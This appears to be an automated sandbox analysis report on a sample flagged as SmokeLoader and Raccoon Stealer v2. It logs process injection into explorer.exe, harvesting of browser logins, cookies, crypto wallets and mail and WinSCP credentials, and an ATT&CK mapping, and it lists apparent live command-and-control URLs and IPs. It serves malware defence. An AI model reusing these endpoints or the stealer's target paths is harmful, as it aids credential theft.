Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: C:\Windows\SysWOW64\vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: C:\Windows\SysWOW64\msvcp140.dll	Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\file.exe	Thread created: C:\Windows\explorer.exe EIP: 23E1ACC			Jump to behavior
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Thread created: unknown EIP: 2681ACC			Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: EF380	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\959.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 3B0000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\959.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 540008	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\explorer.exe	Memory written: PID: 1364 base: EF380 value: 90			Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 4540 base: 7FF75EDE8150 value: 90			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\253.exe	Process created: C:\Users\user\AppData\Local\Temp\253.exe C:\Users\user~1\AppData\Local\Temp\253.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\959.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe			Jump to behavior

Source: explorer.exe, 00000001.00000000.256252546.0000000000B10000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.285823661.0000000000B10000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.306814261.0000000000B10000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000001.00000000.256252546.0000000000B10000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.264932159.0000000007B83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.289885567.00000000056F0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.256252546.0000000000B10000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.285823661.0000000000B10000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.284831147.00000000004C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.256252546.0000000000B10000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.285823661.0000000000B10000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.306814261.0000000000B10000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: GetModuleFileNameA,6DB16790,RegOpenKeyExA,6DB16790,RegOpenKeyExA,6DB16790,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	13_2_00404E14
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: GetLocaleInfoA,GetACP,	13_2_0040B294
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: GetLocaleInfoA,	13_2_004056CE
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: GetLocaleInfoA,	13_2_004056D0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: GetLocaleInfoA,	13_2_00409D40
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: GetLocaleInfoA,	13_2_00409D8C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	13_2_00404F20

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 13_2_00408840 GetLocalTime,

13_2_00408840

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 13_2_00405799 GetCommandLineA,GetVersion,GetVersion,GetThreadLocale,GetThreadLocale,GetCurrentThreadId,

13_2_00405799

Stealing of Sensitive Information

Yara detected CryptOne packer

Source: Yara match

File source: 0000000D.00000002.452217293.0000000005090000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 11.3.sfrvjvv.5c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.sfrvjvv.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.sfrvjvv.5a0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.5f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.5e0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.472600397.0000000000640000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.327538196.00000000005F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.307013938.00000000023E1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.244640816.00000000005F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.473353545.0000000000871000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.328002456.00000000021E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.459694158.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Raccoon Stealer v2

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 15.2.959.exe.7701b0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.959.exe.7701b0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.959.exe.800000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.959.exe.800000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.427521225.000000000076E000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.430460941.0000000000994000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.417147539.0000000000800000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.429527772.000000000095D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.491953856.0000000000997000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AppLaunch.exe PID: 100968, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Found many strings related to Crypto-Wallets (likely being stolen)

Source: AppLaunch.exe, 00000014.00000002.491896643.0000000000985000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum\wallets\**4
Source: AppLaunch.exe, 00000014.00000003.430460941.0000000000994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wlts_elecbch:ElectronCash;26;ElectronCash\wallets;*;-
Source: AppLaunch.exe, 00000014.00000002.491896643.0000000000985000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum\wallets\**4
Source: AppLaunch.exe, 00000014.00000003.430460941.0000000000994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;;cache*
Source: AppLaunch.exe, 00000014.00000002.491896643.0000000000985000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\exodus\*u4
Source: AppLaunch.exe, 00000014.00000002.491896643.0000000000985000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\exodus\*u4
Source: AppLaunch.exe, 00000014.00000002.491896643.0000000000985000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\*

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Jump to behavior

Remote Access Functionality

Yara detected CryptOne packer

Source: Yara match

File source: 0000000D.00000002.452217293.0000000005090000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 11.3.sfrvjvv.5c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.sfrvjvv.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.sfrvjvv.5a0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.5f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.5e0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.472600397.0000000000640000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.327538196.00000000005F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.307013938.00000000023E1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.244640816.00000000005F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.473353545.0000000000871000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.328002456.00000000021E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.459694158.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Raccoon Stealer v2

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 15.2.959.exe.7701b0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.959.exe.7701b0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.959.exe.800000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.959.exe.800000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.427521225.000000000076E000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.430460941.0000000000994000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.417147539.0000000000800000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.429527772.000000000095D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.491953856.0000000000997000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AppLaunch.exe PID: 100968, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Exploitation for Client Execution	11 DLL Side-Loading	11 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	13 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	512 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	2 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	1 Credentials in Registry	28 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	11 Software Packing	NTDS	311 Security Software Discovery	Distributed Component Object Model	1 Email Collection	Scheduled Transfer	125 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 DLL Side-Loading	LSA Secrets	12 Virtualization/Sandbox Evasion	SSH	1 Input Capture	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 File Deletion	Cached Domain Credentials	12 Process Discovery	VNC	1 Clipboard Data	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	12 Virtualization/Sandbox Evasion	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	512 Process Injection	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Hidden Files and Directories	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	1 Regsvr32	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\959.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\sfrvjvv	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\253.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\LocalLow\freebl3.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\freebl3.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\mozglue.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\mozglue.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\msvcp140.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\msvcp140.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\nss3.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\nss3.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\softokn3.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\softokn3.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\sqlite3.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\vcruntime140.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\FED8.dll	30%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
11.2.sfrvjvv.5a0e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.2.253.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
0.2.file.exe.5e0e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.3.sfrvjvv.5c0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.2.regsvr32.exe.51a0000.2.unpack	100%	Avira	HEUR/AGEN.1215467	Download File
11.2.sfrvjvv.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.2.regsvr32.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1232832	Download File
0.2.file.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.2.regsvr32.exe.52a0000.3.unpack	100%	Avira	HEUR/AGEN.1249928	Download File
15.3.959.exe.800000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
13.2.regsvr32.exe.5090184.1.unpack	100%	Avira	TR/Kazy.4159236	Download File
0.3.file.exe.5f0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

Source	Detection	Scanner	Label	Link
furubujjul.net	7%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuluitnulo.me/	0%	URL Reputation	safe
http://winnlinne.com/lancer/get.php	0%	URL Reputation	safe
http://bururutu44org.org/	0%	URL Reputation	safe
http://nvulukuluir.net/	0%	URL Reputation	safe
http://liubertiyyyul.net/	0%	URL Reputation	safe
http://furubujjul.net/	0%	URL Reputation	safe
http://youyouumenia5.org/	0%	URL Reputation	safe
http://guluiiiimnstra.net/	0%	URL Reputation	safe
http://furubujjul.net/Mozilla/5.0	0%	URL Reputation	safe
https://mozilla.org0	0%	URL Reputation	safe
http://hulimudulinu.net/	0%	Virustotal		Browse
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c17ftK	0%	Avira URL Cloud	safe
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c17%	0%	Avira URL Cloud	safe
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
http://193.38.55.180/2	0%	Avira URL Cloud	safe
http://starvestitibo.org/	0%	Avira URL Cloud	safe
http://193.38.55.180/	0%	Avira URL Cloud	safe
http://stalnnuytyt.org/	0%	Avira URL Cloud	safe
http://hulimudulinu.net/	0%	Avira URL Cloud	safe
http://193.38.55.180/aN7jD0qO6kT	0%	Avira URL Cloud	safe
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c17d	0%	Avira URL Cloud	safe
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c17(	0%	Avira URL Cloud	safe
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c17	0%	Avira URL Cloud	safe
http://gulutina49org.org/	0%	Avira URL Cloud	safe
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c17it	0%	Avira URL Cloud	safe
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c174	0%	Avira URL Cloud	safe
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c17l	0%	Avira URL Cloud	safe
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c17j4	0%	Avira URL Cloud	safe
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c17v	0%	Avira URL Cloud	safe
http://193.38.55.180/V	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.2ip.ua	162.0.217.254	true	false		high
furubujjul.net	104.21.93.30	true	true	7%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://hulimudulinu.net/	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://stalnnuytyt.org/	true	Avira URL Cloud: safe	unknown
http://193.38.55.180/	true	Avira URL Cloud: safe	unknown
http://starvestitibo.org/	true	Avira URL Cloud: safe	unknown
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c17	true	Avira URL Cloud: safe	unknown
http://nuluitnulo.me/	true	URL Reputation: safe	unknown
http://winnlinne.com/lancer/get.php	true	URL Reputation: safe	unknown
http://bururutu44org.org/	true	URL Reputation: safe	unknown
http://nvulukuluir.net/	true	URL Reputation: safe	unknown
http://liubertiyyyul.net/	true	URL Reputation: safe	unknown
http://furubujjul.net/	true	URL Reputation: safe	unknown
https://api.2ip.ua/geo.json	false		high
http://youyouumenia5.org/	true	URL Reputation: safe	unknown
http://guluiiiimnstra.net/	true	URL Reputation: safe	unknown
http://gulutina49org.org/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	explorer.exe, 00000011.00000003.426455273.0000000003140000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.464332738.00000000009C6000.00000004.00000020.00020000.00000000.sdmp, 64FF.tmp.17.dr, rE5287BD83io.20.dr	false		high
https://gcc.gnu.org/bugs/):	959.exe.1.dr	false		high
https://duckduckgo.com/ac/?q=	rE5287BD83io.20.dr	false		high
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c17%	AppLaunch.exe, 00000014.00000002.493073275.0000000007E65000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com?fr=crmas_sfpf	explorer.exe, 00000011.00000003.426455273.0000000003140000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.464332738.00000000009C6000.00000004.00000020.00020000.00000000.sdmp, 64FF.tmp.17.dr, rE5287BD83io.20.dr	false		high
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c17ftK	AppLaunch.exe, 00000014.00000003.462885890.0000000000964000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.463531816.0000000000965000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.38.55.180/2	AppLaunch.exe, 00000014.00000003.430856493.000000000096C000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.429706137.0000000000969000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html	253.exe, 00000012.00000000.404293183.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
http://193.38.55.180/aN7jD0qO6kT	AppLaunch.exe, 00000014.00000003.453837647.000000000099F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.454584536.000000000099F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000002.491976725.000000000099C000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.454397915.000000000099F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.454837408.000000000099F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.449981114.000000000099F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.463770338.000000000099D000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.454196299.000000000099F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.454117600.000000000099F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.454550115.000000000099F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.454666751.000000000099F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.453594076.000000000099F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.453999456.000000000099F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.452870795.000000000099F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.452176222.000000000099F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.453713248.000000000099F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.454617472.000000000099F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.464612639.000000000099F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.456443211.000000000099D000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.454701196.000000000099F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.452935532.000000000099F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	253.exe, 0000000E.00000002.450132397.00000000023D0000.00000040.00001000.00020000.00000000.sdmp, 253.exe, 00000012.00000000.420031906.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 253.exe, 00000012.00000002.451482759.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 253.exe, 00000012.00000000.404293183.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c17(	AppLaunch.exe, 00000014.00000002.491668088.0000000000965000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c174	AppLaunch.exe, 00000014.00000002.491668088.0000000000965000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	sqlite3.dll.20.dr	false		high
https://api.2ip.ua/geo.json_	253.exe, 00000012.00000002.454048007.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/	253.exe, 00000012.00000002.454048007.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	explorer.exe, 00000011.00000003.426455273.0000000003140000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.464332738.00000000009C6000.00000004.00000020.00020000.00000000.sdmp, 64FF.tmp.17.dr, rE5287BD83io.20.dr	false		high
https://api.2ip.ua/geo.jsonZ	253.exe, 00000012.00000002.454048007.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c17d	AppLaunch.exe, 00000014.00000003.462940916.0000000000973000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	rE5287BD83io.20.dr	false		high
https://api.2ip.ua/geo.jsonn	253.exe, 00000012.00000002.454048007.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	explorer.exe, 00000011.00000003.426455273.0000000003140000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.464332738.00000000009C6000.00000004.00000020.00020000.00000000.sdmp, 64FF.tmp.17.dr, rE5287BD83io.20.dr	false		high
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c17it	AppLaunch.exe, 00000014.00000003.462885890.0000000000964000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.463531816.0000000000965000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
